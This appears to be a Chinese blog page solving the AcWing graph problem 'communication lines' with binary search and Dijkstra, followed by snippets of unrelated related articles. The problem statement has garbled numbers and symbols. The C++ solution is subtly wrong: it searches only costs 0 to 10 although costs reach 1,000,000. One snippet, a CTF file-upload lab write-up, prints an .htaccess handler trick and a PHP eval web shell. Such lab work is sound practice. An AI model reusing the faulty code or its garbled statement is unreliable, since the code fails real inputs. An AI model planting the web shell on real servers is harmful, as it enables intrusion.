二分,Dijkstra,340. 通信线路
在郊区有 N 座通信基站,P 条 双向 电缆,第 i 条电缆连接基站 Ai 和 Bi。
特别地,1 号基站是通信公司的总站,N 号基站位于一座农场中。
现在,农场主希望对通信线路进行升级,其中升级第 i 条电缆需要花费 Li。
电话公司正在举行优惠活动。
农产主可以指定一条从 1 号基站到 N 号基站的路径,并指定路径上不超过 K 条电缆,由电话公司免费提供升级服务。
农场主只需要支付在该路径上剩余的电缆中,升级价格最贵的那条电缆的花费即可。
求至少用多少钱可以完成升级。
输入格式
第 11 行:三个整数 N,P,K
第 2..P+12.. 行:第 i+1 行包含三个整数 Ai,Bi,Li
输出格式
包含一个整数表示最少花费。
若 11 号基站与 N� 号基站之间不存在路径,则输出 −1−1。
数据范围
0≤K<N≤1000
1≤P≤10000
1≤Li≤1000000
输入样例:
5 7 1
1 2 5
3 1 4
2 4 8
3 2 3
5 2 9
3 4 7
4 5 6
输出样例:
4
解析:
(此题还可用最短路中的分层图解,详情请看最短路分栏spfa,分层图,340. 通信线路,《算法竞赛进阶指南》_Landing_on_Mars的博客-CSDN博客)
详细思路请参考AcWing 340. 通信线路(二分答案+dijkstra) - AcWing
#include<iostream>
#include<cstdio>
#include<cstdlib>
#include<string>
#include<cstring>
#include<cmath>
#include<ctime>
#include<algorithm>
#include<utility>
#include<stack>
#include<queue>
#include<vector>
#include<set>
#include<map>
using namespace std;
typedef long long LL;
const int N = 1e3 + 5;
int n, m, k;
vector<pair<int, int>>G[N];
int d[N], v[N];typedef struct st {int u, w;
}st;bool operator>(const st& a, const st& b) {return a.w > b.w;
}int dij(int w) {memset(d, 0x3f3f3f3f, sizeof(d));memset(v, 0, sizeof(v));priority_queue<st, vector<st>, greater<st>>q;q.push({ 1,0 });d[1] = 0;int t;while (!q.empty()) {t = q.top().u;q.pop();if (v[t])continue;v[t] = 1;for (int i = 0; i < G[t].size(); i++) {int j = G[t][i].first, dist = G[t][i].second>w?1:0;if (d[j] > d[t] + dist) {d[j] = d[t] + dist;q.push({ j,d[j] });}}}if (d[n] == 0x3f3f3f3f)return d[n];return d[n] <= k;
}int main() {cin >> n >> m >> k;for (int i = 1,a,b,t; i <= m; i++) {scanf("%d%d%d", &a, &b, &t);G[a].push_back({ b,t });G[b].push_back({ a,t });}int l = 0, r = 10, mid,ans=0,tt;while (l<=r) {mid = l + (r - l) / 2;tt = dij(mid);if (tt == 0x3f3f3f3f) {cout << -1 << endl;break;}if (tt) {r = mid-1;}else {l = mid+1;ans = mid;}}if (tt != 0x3f3f3f3f)cout << ans << endl;return 0;
}
相关文章:
二分,Dijkstra,340. 通信线路
在郊区有 N 座通信基站,P 条 双向 电缆,第 i 条电缆连接基站 Ai 和 Bi。 特别地,1 号基站是通信公司的总站,N 号基站位于一座农场中。 现在,农场主希望对通信线路进行升级,其中升级第 i 条电缆需要花费 L…...
Stable Diffusion---Ai绘画-下载-入门-进阶(笔记整理)
前言 注:本文偏向于整理,都是跟着大佬们学的。 推荐两个b站up主,学完他们俩的东西基本就玩转SD为底的ai绘画: 秋葉aaaki,Nenly同学 1.首先SD主流的就是秋叶佬的Webui了,直接压缩包下载即可,下…...
Java 乘等赋值运算
下面这个题目是在一公司发过来的,如果你对 Java 的赋值运算比较了解的话,会很快知道答案的。 这个运算符在 Java 里面叫做乘等或者乘和赋值操作符,它把左操作数和右操作数相乘赋值给左操作数。 例如下面的:density * invertedRat…...
【性能优化】聊聊性能优化那些事
针对于互联网应用来说,性能优化其实就是一直需要做的事情,因为系统响应慢,是非常影响用户的体验,可能回造成用户流失。所以对于性能非常重要。最近正好接到一个性能优化的需求,需要对所负责的系统进行性能提升。目前接…...
k8s 查看加入主节点命令 k8s重新查看加入节点命令 k8s输入删除,重新查看加入命令 kuberadm查看加入节点命令
1. 使用kuberadm 安装成功后,clear清除了屏幕数据,加入命令无法查看,使用如下,重新查看node如何加入主节点命令: kubeadm token create --print-join-command --ttl 0 2.画圈的全部是,都复制,在…...
Scalene:Python CPU+GPU+内存分析器,具有人工智能驱动的优化建议
一、前言 Python 是一种广泛使用的编程语言,通常与其他语言编写的库一起使用。在这种情况下,如何提高性能和内存使用率可能会变得很复杂。但是,现在有一个解决方案,可以轻松地解决这些问题 - 分析器。 分析器旨在找出哪些代码段…...
C语言练习8(巩固提升)
C语言练习8 编程题 前言 奋斗是曲折的,“为有牺牲多壮志,敢教日月换新天”,要奋斗就会有牺牲,我们要始终发扬大无畏精神和无私奉献精神。奋斗者是精神最为富足的人,也是最懂得幸福、最享受幸福的人。正如马克思所讲&am…...
Java匿名内部类
文章目录 前言一、使用匿名内部类需要注意什么?二、使用步骤匿名内部类的结构匿名内部类的实用场景1. 事件监听器2. 过滤器3. 线程4. 实现接口5.单元测试:6.GUI编程7.回调函数 前言 Java中的匿名内部类是一种可以在声明时直接创建对象的内部类。这种内部…...
Shiro和SpringSecurity的区别
文章目录 前言1.Shiro:Shiro的特点: 2.SpringSecurity:SpringSecurity特点: 3.对比:总结 前言 Shiro 和 Spring Security 都是用于在Java应用程序中实现身份验证(Authentication)和授权&#x…...
【STM32】学习笔记(OLED)
调试方式 OLED简介 硬件电路 驱动函数 OLED.H #ifndef __OLED_H #define __OLED_Hvoid OLED_Init(void); void OLED_Clear(void); void OLED_ShowChar(uint8_t Line, uint8_t Column, char Char); void OLED_ShowString(uint8_t Line, uint8_t Column, char *String); void OL…...
概念解析 | 认知雷达:有大脑的雷达
注1:本文系“概念解析”系列之一,致力于简洁清晰地解释、辨析复杂而专业的概念。本次辨析的概念是:认知雷达。 认知雷达:有大脑的雷达 1.背景介绍 对于传统的雷达,它们通常都是预设定参数和模式来进行工作,比如发射功率、波形、扫描模式等。然而,这种方式面临着一些挑…...
B. Long Long
time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today Alex was brought array a1,a2,…,an�1,�2,…,�� of length n�. He can apply as m…...
CTFhub-文件上传-.htaccess
首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…...
Python中的绝对和相对导入
在本文中,我们将看到Python中的绝对和相对导入。 Python中导入的工作 Python中的import类似于C/C中的#include header_file。Python模块可以通过使用import导入文件/函数来访问其他模块的代码。import语句是调用import机制的最常见方式,但它不是唯一的…...
C语言关于与运算符
C语言关于&与&&运算符 我们知道,在很多场景中&和&&通常可以相互代替,那么它们到底有什么不同呢? 先看一段代码 bool a, b, c; c a & b;使用clang -S编译出来的指令如下: movb -5(%rbp), %al …...
计算机网络(速率、宽带、吞吐量、时延、发送时延)
速率: 最重要的一个性能指标。 指的是数据的传送速率,也称为数据率 (data rate) 或比特率 (bit rate)。 单位:bit/s,或 kbit/s、Mbit/s、 Gbit/s 等。 例如 4 1010 bit/s 的数据率就记为 40 Gbit/s。 速率往往是指额定速率或…...
kubectl入门
一.kubectl的三种资源管理方式: 二. kubectl资源介绍: 1.namespace:实现多套环境的资源隔离或者多租户的资源隔离。k8s中的pod默认可以相互访问,如果不想让两个pod之间相互访问,就将其划分到不同ns下。 2.podÿ…...
Android JNI系列详解之ndk-build工具的使用
一、Android项目中使用ndk-build工具编译库文件 之前介绍过CMake编译工具的使用,今天介绍一种ndk自带的编译工具ndk-build的使用。 ndk-build目前主要有两种配置使用方式: 如上图所示,第一种方式是Android.mkApplication.mkgradle的方式生成…...
【业务功能篇90】微服务-springcloud-检索服务-ElasticSearch实战运用-DSL语句
商城检索服务 1.检索页面的搭建 商品检索页面我们放在search服务中处理,首页我们需要在mall-search服务中支持Thymeleaf。添加对应的依赖 <!-- 添加Thymeleaf的依赖 --><dependency><groupId>org.springframework.boot</groupId><artifa…...
QTday4
实现闹钟功能 1》 头文件 #ifndef BURGER_H #define BURGER_H#include <QWidget> #include <QLabel> #include <QLineEdit> #include <QPushButton> #include <QTextEdit> #include <QTimerEvent> //定时器事件类 #include <QDateTim…...
华为OD机试-食堂供餐-二分法
import java.util.Arrays; import java.util.Scanner;public class DemoTest3 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextIn…...
现代密码学 | 椭圆曲线密码学—附py代码
Elliptic Curve Cryptography 椭圆曲线密码学(ECC)是一种基于有限域上椭圆曲线数学特性的公钥加密技术。其核心原理涉及椭圆曲线的代数性质、离散对数问题以及有限域上的运算。 椭圆曲线密码学是多种数字签名算法的基础,例如椭圆曲线数字签…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
laravel8+vue3.0+element-plus搭建方法
创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...
2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...
《C++ 模板》
目录 函数模板 类模板 非类型模板参数 模板特化 函数模板特化 类模板的特化 模板,就像一个模具,里面可以将不同类型的材料做成一个形状,其分为函数模板和类模板。 函数模板 函数模板可以简化函数重载的代码。格式:templa…...
iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈
在日常iOS开发过程中,性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期,开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发,但背后往往隐藏着系统资源调度不当…...
C#学习第29天:表达式树(Expression Trees)
目录 什么是表达式树? 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持: 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...
【JavaSE】多线程基础学习笔记
多线程基础 -线程相关概念 程序(Program) 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序,比如我们使用QQ,就启动了一个进程,操作系统就会为该进程分配内存…...
